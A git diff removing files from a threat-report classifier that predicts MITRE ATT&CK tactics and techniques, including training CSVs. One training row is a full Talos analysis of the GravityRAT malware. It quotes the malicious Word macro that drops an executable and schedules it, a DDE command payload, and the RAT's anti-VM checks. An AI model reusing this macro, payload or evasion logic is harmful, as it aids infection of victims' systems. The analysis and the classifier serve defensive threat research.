- pipeline_tactics = Pipeline([ - ('columnselector', prp.TextSelector(key = 'processed')), - ('tfidf', TfidfVectorizer(tokenizer = prp.LemmaTokenizer(), stop_words = stop_words, max_df = 0.90)), - ('selection', SelectPercentile(chi2, percentile = 50)), - ('classifier', OneVsRestClassifier(LinearSVC(penalty = 'l2', loss = 'squared_hinge', dual = True, class_weight = 'balanced'), n_jobs = 1)) - ]) - - # train the model for tactics - pipeline_tactics.fit(reports, tactics) - - if cmd: - pop.print_progress_bar(2) - - # Define a pipeline combining a text feature extractor with multi label classifier for techniques prediction - pipeline_techniques = Pipeline([ - ('columnselector', prp.TextSelector(key = 'processed')), - ('tfidf', TfidfVectorizer(tokenizer = prp.StemTokenizer(), stop_words = stop_words, min_df = 2, max_df = 0.99)), - ('selection', SelectPercentile(chi2, percentile = 50)), - ('classifier', OneVsRestClassifier(LinearSVC(penalty = 'l2', loss = 'squared_hinge', dual = False, max_iter = 1000, class_weight = 'balanced'), n_jobs = 1)) - ]) - - # train the model for techniques - pipeline_techniques.fit(reports, techniques) - - if cmd: - pop.print_progress_bar(4) - - pop.find_best_post_processing(cmd) - - #Save model - joblib.dump(pipeline_tactics, 'classification_tools/data/pipeline_tactics.joblib') - joblib.dump(pipeline_techniques, 'classification_tools/data/pipeline_techniques.joblib') - -def predict(report_to_predict, post_processing_parameters): - """ - Predict tactics and techniques from a report in a txt file. - """ - - # loading the models - pipeline_tactics = joblib.load('classification_tools/data/pipeline_tactics.joblib') - pipeline_techniques = joblib.load('classification_tools/data/pipeline_techniques.joblib') - - report = prp.processing(pd.DataFrame([report_to_predict], columns = ['Text']))[TEXT_FEATURES] - - # predictions - predprob_tactics = pipeline_tactics.decision_function(report) - pred_tactics = pipeline_tactics.predict(report) - - predprob_techniques = pipeline_techniques.decision_function(report) - pred_techniques = pipeline_techniques.predict(report) - - if post_processing_parameters[0] == "HN": - # hanging node thresholds retrieval and hanging node performed on predictions if in parameters - pred_techniques = pop.hanging_node(pred_tactics, predprob_tactics, pred_techniques, predprob_techniques, post_processing_parameters[1][0], post_processing_parameters[1][1]) - elif post_processing_parameters[0] == "CP": - # confidence propagation performed on prediction if in parameters - pred_techniques, predprob_techniques = pop.confidence_propagation(predprob_tactics, pred_techniques, predprob_techniques) - - return pred_tactics, predprob_tactics, pred_techniques, predprob_techniques \ No newline at end of file diff --git a/unsupported/attack-predictor/1.0.0/src/classification_tools/data/configuration.joblib b/unsupported/attack-predictor/1.0.0/src/classification_tools/data/configuration.joblib deleted file mode 100644 index ee7ba420..00000000 Binary files a/unsupported/attack-predictor/1.0.0/src/classification_tools/data/configuration.joblib and /dev/null differ diff --git a/unsupported/attack-predictor/1.0.0/src/classification_tools/data/pipeline_tactics.joblib b/unsupported/attack-predictor/1.0.0/src/classification_tools/data/pipeline_tactics.joblib deleted file mode 100644 index 1c271e4e..00000000 Binary files a/unsupported/attack-predictor/1.0.0/src/classification_tools/data/pipeline_tactics.joblib and /dev/null differ diff --git a/unsupported/attack-predictor/1.0.0/src/classification_tools/data/pipeline_techniques.joblib b/unsupported/attack-predictor/1.0.0/src/classification_tools/data/pipeline_techniques.joblib deleted file mode 100644 index e2352c11..00000000 Binary files a/unsupported/attack-predictor/1.0.0/src/classification_tools/data/pipeline_techniques.joblib and /dev/null differ diff --git a/unsupported/attack-predictor/1.0.0/src/classification_tools/data/training_data_added.csv b/unsupported/attack-predictor/1.0.0/src/classification_tools/data/training_data_added.csv deleted file mode 100644 index 7822c2e5..00000000 --- a/unsupported/attack-predictor/1.0.0/src/classification_tools/data/training_data_added.csv +++ /dev/null @@ -1,2 +0,0 @@ -"Text","TA0006","TA0002","TA0040","TA0003","TA0004","TA0008","TA0005","TA0010","TA0007","TA0009","TA0011","TA0001","T1066","T1047","T1156","T1113","T1067","T1037","T1033","T1003","T1129","T1492","T1044","T1171","T1014","T1501","T1123","T1133","T1109","T1099","T1069","T1114","T1163","T1025","T1116","T1093","T1178","T1013","T1192","T1489","T1206","T1063","T1080","T1167","T1165","T1137","T1089","T1487","T1214","T1119","T1115","T1103","T1007","T1040","T1135","T1120","T1082","T1071","T1053","T1162","T1176","T1106","T1058","T1202","T1024","T1091","T1005","T1140","T1195","T1190","T1219","T1079","T1036","T1055","T1205","T1218","T1038","T1050","T1010","T1032","T1062","T1182","T1029","T1004","T1009","T1076","T1131","T1181","T1483","T1185","T1021","T1207","T1107","T1145","T1112","T1491","T1155","T1217","T1183","T1085","T1031","T1092","T1222","T1179","T1019","T1042","T1117","T1054","T1108","T1193","T1215","T1101","T1177","T1125","T1144","T1045","T1016","T1198","T1087","T1090","T1059","T1482","T1175","T1020","T1070","T1083","T1138","T1191","T1188","T1074","T1049","T1064","T1051","T1497","T1102","T1104","T1480","T1204","T1196","T1057","T1141","T1041","T1060","T1023","T1026","T1122","T1015","T1212","T1210","T1142","T1199","T1098","T1170","T1048","T1097","T1110","T1001","T1039","T1078","T1073","T1068","T1208","T1027","T1201","T1187","T1486","T1488","T1174","T1002","T1081","T1128","T1056","T1203","T1168","T1100","T1186","T1184","T1095","T1075","T1012","T1030","T1028","T1034","T1499","T1065","T1197","T1088","T1493","T1132","T1500","T1223","T1213","T1194","T1200","T1485","T1130","T1022","T1189","T1498","T1158","T1221","T1134","T1209","T1111","T1159","T1136","T1018","T1046","T1052","T1105","T1084","T1160","T1484","T1220","T1173","T1008","T1096","T1124","T1035","T1086","T1490","T1216","T1094","T1043","T1211","T1127","T1077" -"{""eventVersion"":""2.1"",""eventSource"":""aws:s3"",""awsRegion"":""us-east-1"",""eventTime"":""2021-09-04T22:32:57.348Z"",""eventName"":""ObjectCreated:Put"",""userIdentity"":{""principalId"":""A3KYO1C4NV9WVX""},""requestParameters"":{""sourceIPAddress"":""78.156.2.140""},""responseElements"":{""x-amz-request-id"":""VZAGQVXBZ3K7C7EW"",""x-amz-id-2"":""DjArMa9COonk61FrsmDLRVjk4cMUO/9c2rEijd/51ZFgZRfc/jF+s9p7TzFiBd1u4AHTzmJaNgy2OL9gYXFyr1SH44fMu7Fd""},""s3"":{""s3SchemaVersion"":""1.0"",""configurationId"":""89592aec-12c7-4696-9f62-0382177f4a5d"",""bucket"":{""name"":""helo2"",""ownerIdentity"":{""principalId"":""A3KYO1C4NV9WVX""},""arn"":""arn:aws:s3:::helo2""},""object"":{""key"":""eicar+%282%29.com"",""size"":68,""eTag"":""44d88612fea8a8f36de82e1278abb02f"",""sequencer"":""006133F41AAC9F0B1B""}}}","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" diff --git a/unsupported/attack-predictor/1.0.0/src/classification_tools/data/training_data_original.csv b/unsupported/attack-predictor/1.0.0/src/classification_tools/data/training_data_original.csv deleted file mode 100644 index 6aba1f65..00000000 --- a/unsupported/attack-predictor/1.0.0/src/classification_tools/data/training_data_original.csv +++ /dev/null @@ -1,1490 +0,0 @@ -"Text","TA0006","TA0002","TA0040","TA0003","TA0004","TA0008","TA0005","TA0010","TA0007","TA0009","TA0011","TA0001","T1066","T1047","T1156","T1113","T1067","T1037","T1033","T1003","T1129","T1492","T1044","T1171","T1014","T1501","T1123","T1133","T1109","T1099","T1069","T1114","T1163","T1025","T1116","T1093","T1178","T1013","T1192","T1489","T1206","T1063","T1080","T1167","T1165","T1137","T1089","T1487","T1214","T1119","T1115","T1103","T1007","T1040","T1135","T1120","T1082","T1071","T1053","T1162","T1176","T1106","T1058","T1202","T1024","T1091","T1005","T1140","T1195","T1190","T1219","T1079","T1036","T1055","T1205","T1218","T1038","T1050","T1010","T1032","T1062","T1182","T1029","T1004","T1009","T1076","T1131","T1181","T1483","T1185","T1021","T1207","T1107","T1145","T1112","T1491","T1155","T1217","T1183","T1085","T1031","T1092","T1222","T1179","T1019","T1042","T1117","T1054","T1108","T1193","T1215","T1101","T1177","T1125","T1144","T1045","T1016","T1198","T1087","T1090","T1059","T1482","T1175","T1020","T1070","T1083","T1138","T1191","T1188","T1074","T1049","T1064","T1051","T1497","T1102","T1104","T1480","T1204","T1196","T1057","T1141","T1041","T1060","T1023","T1026","T1122","T1015","T1212","T1210","T1142","T1199","T1098","T1170","T1048","T1097","T1110","T1001","T1039","T1078","T1073","T1068","T1208","T1027","T1201","T1187","T1486","T1488","T1174","T1002","T1081","T1128","T1056","T1203","T1168","T1100","T1186","T1184","T1095","T1075","T1012","T1030","T1028","T1034","T1499","T1065","T1197","T1088","T1493","T1132","T1500","T1223","T1213","T1194","T1200","T1485","T1130","T1022","T1189","T1498","T1158","T1221","T1134","T1209","T1111","T1159","T1136","T1018","T1046","T1052","T1105","T1084","T1160","T1484","T1220","T1173","T1008","T1096","T1124","T1035","T1086","T1490","T1216","T1094","T1043","T1211","T1127","T1077" "Talos Blog || Cisco Talos Intelligence Group - Comprehensive Threat Intelligence: GravityRAT - The Two-Year Evolution Of An APT Targeting India Software Vulnerability Information Vulnerability Information BACK Vulnerability Reports Microsoft Advisories Reputation Center Reputation Center BACK IP & Domain Reputation Talos File Reputation Reputation Support AMP Threat Naming Conventions IP Blacklist Download AWBO Exercises Categories Library Support Communities Support Communities BACK Snort Community ClamAV Community Reputation Center Support SpamCop Careers Blog About Thursday, April 26, 2018 GravityRAT - The Two-Year Evolution Of An APT Targeting India This blog post is authored by Warren Mercer and Paul Rascagneres. Update: 4/30 Since the publication of the blog post, one of the anti-VM capability was commented a lot on Twitter: the detection of Virtual Machines by checking the temperature of the system. We decided to add more details and clarifications concerning this feature. GravityRAT uses a WMI request in order to get the current temperature of the hardware. Here is the output of the query on a physical machine (a Surface Book): The query returns the temperature of 7 thermal zones. Here is the output on a Virtual Machine executed by Hyper-V on the same hardware: The feature is not supported. The malware author used this behavior in order to identify VM (such as Sandboxes). From our tests and the feedback from several researchers, this monitoring is not supported on Hyper-V, VMWare Fusion, VirtualBox, KVM and XEN. It's important to notice that several recent physical systems do not support it (a researcher reported some Lenovo and Dell hosts did not support this). It means that GravityRAT will consider this physical machine as VMs. Importantly to note this check is not foolproof as we have identified physical hosts which do not report back the temperature, however, it should also be considered a check that is identifying a lot of virtual environments. This is particularly important due to the amount of sandboxing & malware detonation being carried out within virtual environments by researchers. Summary Today, Cisco Talos is uncovering a new piece of malware, which has remained under the radar for the past two years while it continues to be developed. Several weeks ago, we identified the use of the latest version of this RAT (Remote Access Tool). In this article, we will discuss the technical capabilities, the evolution, development and potential attribution of what we are calling GravityRAT. GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We've seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor. Throughout our investigation, we observed several malicious documents used to attack victims, which we will discuss. These malicious documents were used by the developer to run several tests on the popular analysis platform VirusTotal. Using VirusTotal allowed the developer to make changes in an attempt to decrease antivirus detection. Although GravityRAT has not been previously published or discussed, there was some information from the National Computer Emergency Response Team (CERT) of India describing GravityRAT as being used in targeted attacks against India. Finally, we will discuss specific attribution elements discovered during our research into GravityRAT as we identify specific information, which we believe to be leaked by the developer, such as location, and potentially their first name. Infection Vectors Malicious Office Documents The majority of the malicious documents crafted by the malware author are Microsoft Office Word documents. The attacker uses an embedded macro in order to execute malicious code on the victim's system. The document opens and appears as such: The document asks to the user to enable macros in order to prove that the user is not a robot (similar to the CAPTCHA we often see on the internet). This, however, is a known tactic that a lot of Office-based malware uses. It is an attempt to trick any users who are using Protected Mode on their systems. By enabling macros, the malware is able to begin it's execution. We discovered that the embedded macro is quite small when extracted. Sub AutoOpen() If Not Dir(Environ(""TEMP"") + ""\\image4.exe"") <> """" Then Const lCancelled_c As Long = 0 Dim sSaveAsPath As String sSaveAsPath = CreateObject(""WScript.Shell"").ExpandEnvironmentStrings(""%Temp%"") + ""\\temporary.zip"" If VBA.LenB(sSaveAsPath) = lCancelled_c Then Exit Sub ActiveDocument.Save Application.Documents.Add ActiveDocument.FullName ActiveDocument.SaveAs sSaveAsPath ActiveDocument.Close Set app = CreateObject(""Shell.Application"") ExtractTo = CreateObject(""WScript.Shell"").ExpandEnvironmentStrings(""%Temp%"") ExtractByExtension app.NameSpace(Environ(""TEMP"") + ""\\temporary.zip""), ""exe"", ExtractTo End If End Sub Sub ExtractByExtension(fldr, ext, dst) Set FSO = CreateObject(""Scripting.FileSystemObject"") Set app = CreateObject(""Shell.Application"") For Each f In fldr.Items If f.Type = ""File folder"" Then ExtractByExtension f.GetFolder, ext, dst ElseIf LCase(FSO.GetExtensionName(f.Name)) = LCase(ext) Then If Not Dir(Environ(""TEMP"") + ""\\image4.exe"") <> """" Then app.NameSpace(dst).CopyHere f.Path, &H4 End If End If Next Shell ""schtasks /create /tn wordtest /tr """"'%temp%\\image4.exe' 35"""" /sc DAILY /f /RI 10 /du 24:00 /st 00:01"" End Sub This macro contains three functions: The first one is executed when the document is opened. The purpose is to copy the active document (the opened Word document) in a temporary directory and to rename it as a ZIP archive. Indeed, the docx format is, in fact, a common ZIP archive, and can be unzipped using common tools. The second function decompresses this 'temporary.zip' file and extracts the .exe file stored in it. The third creates a scheduled task, named 'wordtest', to execute this malicious file every day. With this approach, the attacker ensures that there is no direct execution (the executable is executed thanks to scheduled tasks), there's no download of an additional payload, and finally, the author uses the fact that the docx format is an archive in order to include its executable (GravityRAT). Testing By The Author During our tracking, we identified several malicious documents submitted from this actor on VirusTotal for testing purposes. They tested the detection on macros (by modifying them, or by executing the calc instead of the malicious payload) and the developers tried dynamic data exchange (DDE) execution in the Office document. This is abusing the DDE protocol which exists within Microsoft Office documents. Whilst this is a feature Microsoft provide it is also a feature that an attacker can leverage for malicious activity, Microsoft published mitigation information here previously. The developer crafted Office Word and Excel documents to see the detection in VirusTotal. The authors tried to hide the DDE object in a different part of the document \xe2\x80\x94 in the main object and the header, for example. The DDE object simply executes Microsoft calc in the detected sample. Here is an example: DDEAUTO c:\\\\windows\\\\system32\\\\cmd.exe ""/k calc.exe"" We believe the filenames of the submitted samples are clearly testing docs, using different methods and Office tricks to attempt to ensure his malware was undetected. Those names were: testnew1.docx Test123.docx test456.docx test2.docx book1test2.xlsx Test123.doc GravityRAT Our initial discovery of GravityRAT was through a malicious Word document. As explained previously, this Word document had various macros to deliver a final payload.Considering that this was the most recent version of the malware, we decided to ascertain how long this actor had been active, and how their attacks had evolved. We were able to discover four distinct versions of GravityRAT, developed over two years. Next, we will go through what we believe is the development life cycle and feature-addition mission carried out by this developer. Version G1 The malware author uses a versioning system starting by the G letter. The oldest version we identified is G1. Here is the PDB path of the sample: f:\\F\\Windows Work\\G1\\Adeel's Laptop\\G1 Main Virus\\systemInterrupts\\gravity\\obj\\x86\\Debug\\systemInterrupts.pdb You can notice the potential first name of the developers: Adeel. Of course, this information can be manipulated by the malware author. This sample was compiled in December 2016. The original filename of the sample was resume.exe. The purpose of this version was to steal information on the compromised system: MAC Address Computer name Username IP address Date Steal files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf and .pdf The volumes mapped on the system All this information was then sent to one of the following domains: G1 also had the ability to execute commands remotely on the infected host machine at the author's will. Version G2 We identified a new variant used in July 2017 named G2. Here is the PDB of the sample: e:\\Windows Work\\G2\\G2 Main Virus\\Microsoft Virus Solutions (G2 v5) (Current)\\Microsoft Virus Solutions\\obj\\Debug\\Windows Wireless 802.11.pdb For this version, the developer modified the architecture of the malware. The main code aims to load and execute two additional .NET binaries stored in the resources of the file: The first resource is a legitimate open-source library available on GitHub. It's a .NET wrapper for the Windows Task Scheduler The second is the G2 version of GravityRAT This variant shares the same command and control (C2) servers as G1, however, we have an additional 'payload' variable added to G2. This variant has almost identical capabilities as the previous, except one additional functionality: It collects the CPU information in the Win32_Processor entry via WMI request (Processor ID, Name, Manufacturer and the clock speed). The attacker is most likely using this information as part of an anti-vm attempt within this malware. This is used to try and thwart analysis in virtual environments. In a slight change to the previous variant, the new payloads are executed with a Windows Scheduled Task. This would explain the inclusion of the .NET wrapper. The analysed sample contained a decoy picture document in the resource section: Version G3 In August 2017, the author of GravityRAT used a new variant of its malware, G3. Here is the PDB: F:\\Projects\\g3\\G3 Version 4.0\\G3\\G3\\obj\\Release\\Intel Core.pdb This variant uses the same method as G2, and includes a legitimate library in the resource section. The developers also added additional language support to the library: German Spanish French Italian Chinese The author changed the backend of the C2 server with this variant. The URI changed too, it contains the GravityRAT variant name: August was also the same month NIC CERT notified potential victims that GravityRAT had been used in a targeted campaign. Given the ongoing development nature of this malware, it meant another variant was most likely due. Version GX The latest version of GravityRAT was created in December 2017 named GX. Here is the PDB: C:\\Users\\The Invincible\\Desktop\\gx\\gx-current-program\\LSASS\\obj\\Release\\LSASS.pdb This version is the most advanced variant of GravityRAT. Throughout the evolution, we saw this malware embedding open-source legitimate .NET libraries (for schedule tasks, compression, encryption, .NET loading). It contains a resource named ""important."" This is an archive with a password. This variant has the same features as before, but this time, some new features are added: It collects open ports on the victim host by running the netstat command It lists all the running processes It lists available services on the system It exfiltrates .ppt and .pptx file, in addition to the extension mentioned in the G1 variant If a USB key is connected on the system, the malware steals the file based on an extension list It supports file encryption (AES with the key ""lolomycin2017"") It collects information on the account (account type, description, domain name, full name, SID and status) It checks if the system is a virtual machine with several techniques The developer implemented a total of seven techniques to identify if the compromised system is a virtual machine. The first technique consists of looking at any additional tools used by the hypervisor that are installed on the system (by checking a registry key): The second technique uses a WMI request to the BIOS version (Win32_BIOS entry). If the response contains: ""VMware"", ""Virtual"", ""XEN"", ""Xen"" or ""A M I"" the system is considered as a virtual machine. Additionally, the malware checks the SerialNumber and the version of the BIOS. The third technique uses the Win32_Computer entry in WMI. It checks if the manufacturer contains ""VIRTUAL"", ""VMWARE"" or ""VirtualBox"". The fourth technique checks the Processor ID of the system. The fifth technique counts the number of cores in the infected system (the author expects more than one core) The sixth technique checks the current CPU temperature of the system (the MSAcpi_ThermalZoneTemperature entry). Indeed, some hypervisors (VMWare, VirtualBox and Hyper-V) do not support temperature check. The WMI request simply replies ""not supported"". This behaviour can be used to detect if the targeted system is a real machine. The last technique uses the MAC Address of the infected system. If the MAC Address starts by a well-known hexadecimal number, the system is identified as a virtual machine. The C2 servers communication is performed in HTTP as it did previously. The variant version of GX is used in the URI. The C2 servers we can see are shared with the previous variants: What we know about the author Below, we will present evidence that we have obtained regarding the attacker and the associated malware. Obviously, attribution is a complex field. The developers could be using a proxy or a VPN in order to fake the origin of the submission. But, we will still simply present some facts concerning this actor. The developer used at least two different usernames in the past two years: ""The Invincible"" and ""TheMartian."" In the oldest version of GravityRAT, the attacker potentially leaked his or her first name in the PDB: ""Adeel"" \xe2\x80\x94 the path contained ""Adeel's Laptop"". Additionally, all the malicious Office documents, and more specifically the documents used to test anti-virus on VirusTotal, were submitted from Pakistan. One of the four PE files in the IOCs section was sent from Pakistan, too. In August 2017, NIC CERT published an advisory about malicious targeted campaigns. This advisory mentions the C2 server infrastructure of GravityRAT, which means the GravityRAT author likely targeted Indian entities/organisations. By leveraging Cisco Umbrella and using the Investigate tool, we were able to determine that across all of the C2 domains listed, we saw a large influx of traffic originating from India, as evidenced by NIC CERT, all of the C2 domains were at least 50 percent requested by Indian IP infrastructure. It is possible that some of the non-Indian IP space requests may artefacts be due to our own research. Conclusion This actor is probably not the most advanced actor we've seen. But he or she managed to stay under the radar since 2016. They worked on malicious code, and produced four variants. Each new variant included new features. The developer used the same C2 infrastructure all this time. The developer was clever enough to keep this infrastructure safe, and not have it blacklisted by a security vendor. The actor took their time to ensure they were not within a virtual environment to avoid analysis. However, they did not take any time at all to attempt to obfuscate their .NET code. The code was largely trivial to reverse engineer, which meant static analysis was an easy option for this piece of malware. NIC CERT published an advisory about this actor, which suggest they targeted Indian entities and organizations. The author leaked information within the samples (i.e. Adeel) and on the VirusTotal platform. Thanks to this information, we we able to understand how they tested malicious documents in order to decrease detection ratios across many popular engines. During this testing period, all the samples were uploaded from Pakistan to VirusTotal. Coverage Additional ways our customers can detect and block this threat are listed below. Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. Email Security can block malicious emails sent by threat actors as part of their campaign. Network Security appliances such as NGFW, NGIPS, and Meraki MX can detect malicious activity associated with this threat. AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. IOCs Malicious Documents Macros 0beb2eb1214d4fd78e1e92db579e24d12e875be553002a778fb38a225cadb703 70dc2a4d9da2b3338dd0fbd0719e8dc39bc9d8e3e959000b8c8bb04c931aff82 835e759735438cd3ad8f4c6dd8b035a3a07d6ce5ce48aedff1bcad962def1aa4 C14f859eed0f4540ab41362d963388518a232deef8ecc63eb072d5477e151719 ed0eadd8e8e82e7d3829d71ab0926c409a23bf2e7a4ff6ea5b533c5defba4f2a f4806c5e4449a6f0fe5e93321561811e520f738cfe8d1cf198ef12672ff06136 Other Malicious Documents (DDE) 911269e72cd6ed4835040483c4860294d26bfb3b351df718afd367267cd9024f fb7aa28a9d8fcfcabacd7f390cee5a5ed67734602f6dfa599bff63466694d210 ef4769606adcd4f623eea29561596e5c0c628cb3932b30428c38cfe852aa8301 cd140cf5a9030177316a15bef19745b0bebb4eb453ddb4038b5f15dacfaeb3a2 07682c1626c80fa1bb33d7368f6539edf8867faeea4b94fedf2afd4565b91105 GravityRAT G1 9f30163c0fe99825022649c5a066a4c972b76210368531d0cfa4c1736c32fb3a G2 1993f8d2606c83e22a262ac93cc9f69f972c04460831115b57b3f6244ac128bc G3 99dd67915566c0951b78d323bb066eb5b130cc7ebd6355ec0338469876503f90 GX 1c0ea462f0bbd7acfdf4c6daf3cb8ce09e1375b766fbd3ff89f40c0aa3f4fc96 C2 Servers hxxp://cone[.]msoftupdates.com:46769 hxxp://ctwo[.]msoftupdates.com:46769 hxxp://cthree[.]msoftupdates.com:46769 hxxp://eone[.]msoftupdates.eu:46769 hxxp://etwo[.]msoftupdates.eu:46769 hxxp://msupdates[.]mylogisoft.com:46769 hxxp://coreupdate[.]msoftupdates.com:46769 hxxp://updateserver[.]msoftupdates.eu:46769 msoftupdates[.]com msoftupdates[.]eu mylogisoft[.]com URI: /Gvty@/1ns3rt_39291384.php /Gvty@/newIns3rt.php /Gvty@/payloads /Gvty@/ip.php /G3/ServerSide/G3.php /G3/Payload/ /GX/GX-Server.php /GetActiveDomains.php Posted by Paul Rascagneres at 11:11 AM Labels: .NET, APT, GravityRAT, India, macros, MalDoc, Malware Analysis Share This Post No comments: Post a Comment Newer Post Older Post Home Subscribe to: Post Comments (Atom) Subscribe To Our Feed Posts Comments Subscribe via Email Blog Archive \xe2\x96\xba\xc2 2019 (191) \xe2\x96\xba\xc2 September (18) \xe2\x96\xba\xc2 August (21) \xe2\x96\xba\xc2 July (23) \xe2\x96\xba\xc2 June (16) \xe2\x96\xba\xc2 May (25) \xe2\x96\xba\xc2 April (25) \xe2\x96\xba\xc2 March (24) \xe2\x96\xba\xc2 February (19) \xe2\x96\xba\xc2 January (20) \xe2\x96\xbc\xc2 2018 (198) \xe2\x96\xba\xc2 December (16) \xe2\x96\xba\xc2 November (15) \xe2\x96\xba\xc2 October (26) \xe2\x96\xba\xc2 September (16) \xe2\x96\xba\xc2 August (12) \xe2\x96\xba\xc2 July (20) \xe2\x96\xba\xc2 June (15) \xe2\x96\xba\xc2 May (15) \xe2\x96\xbc\xc2 April (21) Threat Roundup for April 20-27 GravityRAT - The Two-Year Evolution Of An APT Targ... Vulnerability Spotlight: Hyland Perceptive Documen... Cryptomining Campaign Returns Coal and Not Diamond... Beers with Talos EP27: Smart Install, Vuln Process... Vulnerability Spotlight: Multiple Issues in Foxit ... Updates for BASS Vulnerability Spotlight: Foscam IP Video Camera Fi... Threat Roundup for April 6 - 13 Vulnerability Spotlight: Multiple Vulnerabilities ... Malware monitor - leveraging PyREBox for malware a... Vulnerability Spotlight: TALOS-2018-0529-531 - Mul... Vulnerability Spotlight: Multiple Simple DirectMed... Vulnerability Spotlight: Multiple Computerinsel Ph... Microsoft Patch Tuesday - April 2018 IcedID Banking Trojan Teams up with Ursnif/Dreambo... Beers with Talos EP26: Talos is Holding a Conferen... Critical Infrastructure at Risk: Advanced Actors T... Vulnerability Spotlight: Natus NeuroWorks Multiple... Vulnerability Spotlight: Moxa AWK-3131A Multiple F... Fake AV Investigation Unearths KevDroid, New Andro... \xe2\x96\xba\xc2 March (10) \xe2\x96\xba\xc2 February (14) \xe2\x96\xba\xc2 January (18) \xe2\x96\xba\xc2 2017 (171) \xe2\x96\xba\xc2 December (9) \xe2\x96\xba\xc2 November (11) \xe2\x96\xba\xc2 October (15) \xe2\x96\xba\xc2 September (17) \xe2\x96\xba\xc2 August (16) \xe2\x96\xba\xc2 July (14) \xe2\x96\xba\xc2 June (14) \xe2\x96\xba\xc2 May (19) \xe2\x96\xba\xc2 April (17) \xe2\x96\xba\xc2 March (17) \xe2\x96\xba\xc2 February (12) \xe2\x96\xba\xc2 January (10) \xe2\x96\xba\xc2 2016 (98) \xe2\x96\xba\xc2 December (9) \xe2\x96\xba\xc2 November (8) \xe2\x96\xba\xc2 October (11) \xe2\x96\xba\xc2 September (8) \xe2\x96\xba\xc2 August (8) \xe2\x96\xba\xc2 July (9) \xe2\x96\xba\xc2 June (10) \xe2\x96\xba\xc2 May (6) \xe2\x96\xba\xc2 April (12) \xe2\x96\xba\xc2 March (7) \xe2\x96\xba\xc2 February (6) \xe2\x96\xba\xc2 January (4) \xe2\x96\xba\xc2 2015 (62) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (3) \xe2\x96\xba\xc2 October (6) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (5) \xe2\x96\xba\xc2 July (4) \xe2\x96\xba\xc2 June (6) \xe2\x96\xba\xc2 May (3) \xe2\x96\xba\xc2 April (7) \xe2\x96\xba\xc2 March (8) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (4) \xe2\x96\xba\xc2 2014 (67) \xe2\x96\xba\xc2 December (4) \xe2\x96\xba\xc2 November (5) \xe2\x96\xba\xc2 October (6) \xe2\x96\xba\xc2 September (10) \xe2\x96\xba\xc2 August (4) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (6) \xe2\x96\xba\xc2 May (4) \xe2\x96\xba\xc2 April (10) \xe2\x96\xba\xc2 March (4) \xe2\x96\xba\xc2 February (3) \xe2\x96\xba\xc2 January (8) \xe2\x96\xba\xc2 2013 (30) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (2) \xe2\x96\xba\xc2 October (5) \xe2\x96\xba\xc2 September (2) \xe2\x96\xba\xc2 August (2) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (1) \xe2\x96\xba\xc2 February (3) \xe2\x96\xba\xc2 January (5) \xe2\x96\xba\xc2 2012 (53) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (1) \xe2\x96\xba\xc2 October (2) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (7) \xe2\x96\xba\xc2 July (7) \xe2\x96\xba\xc2 June (4) \xe2\x96\xba\xc2 May (6) \xe2\x96\xba\xc2 April (5) \xe2\x96\xba\xc2 March (3) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (2) \xe2\x96\xba\xc2 2011 (23) \xe2\x96\xba\xc2 December (1) \xe2\x96\xba\xc2 November (4) \xe2\x96\xba\xc2 October (3) \xe2\x96\xba\xc2 September (1) \xe2\x96\xba\xc2 August (2) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (2) \xe2\x96\xba\xc2 February (1) \xe2\x96\xba\xc2 January (2) \xe2\x96\xba\xc2 2010 (93) \xe2\x96\xba\xc2 December (4) \xe2\x96\xba\xc2 November (2) \xe2\x96\xba\xc2 October (4) \xe2\x96\xba\xc2 September (7) \xe2\x96\xba\xc2 August (9) \xe2\x96\xba\xc2 July (11) \xe2\x96\xba\xc2 June (12) \xe2\x96\xba\xc2 May (5) \xe2\x96\xba\xc2 April (12) \xe2\x96\xba\xc2 March (10) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (10) \xe2\x96\xba\xc2 2009 (146) \xe2\x96\xba\xc2 December (14) \xe2\x96\xba\xc2 November (10) \xe2\x96\xba\xc2 October (12) \xe2\x96\xba\xc2 September (13) \xe2\x96\xba\xc2 August (9) \xe2\x96\xba\xc2 July (19) \xe2\x96\xba\xc2 June (11) \xe2\x96\xba\xc2 May (13) 